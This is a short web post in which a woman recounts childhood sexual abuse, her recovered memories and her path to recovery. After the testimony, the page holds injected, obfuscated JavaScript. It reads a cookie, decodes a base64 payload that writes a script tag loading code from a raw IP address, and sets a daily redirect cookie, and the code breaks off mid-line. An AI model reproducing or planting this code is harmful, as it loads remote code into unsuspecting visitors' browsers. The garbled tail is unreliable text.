109 – Karen (United States)

So here’s me, the year that my sexual assault began. I was picked off the path home from school by a socially & developmentally delayed young adult male. My abuse was ongoing for several years until we relocated. I had no memory of my childhood prior to 13yo (after we’d relocated) and then it all caved in on me with the birth of our daughter (when I was 21yo); I began to remember and it nearly destroyed me. That was some 27 years ago and I finally got up the courage 6 years ago, to take my life back. It’s been hell, but what keeps me going is knowing that there’s a whole world full of hurting adults and children that are suffering from abuses as I type this. I want to get better so that I can be of hope and help to a hurting world. Child abuse is a mess that one person alone can’t clean up, but with all our hands, we can make our world a better and safer place for the children’s sake. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘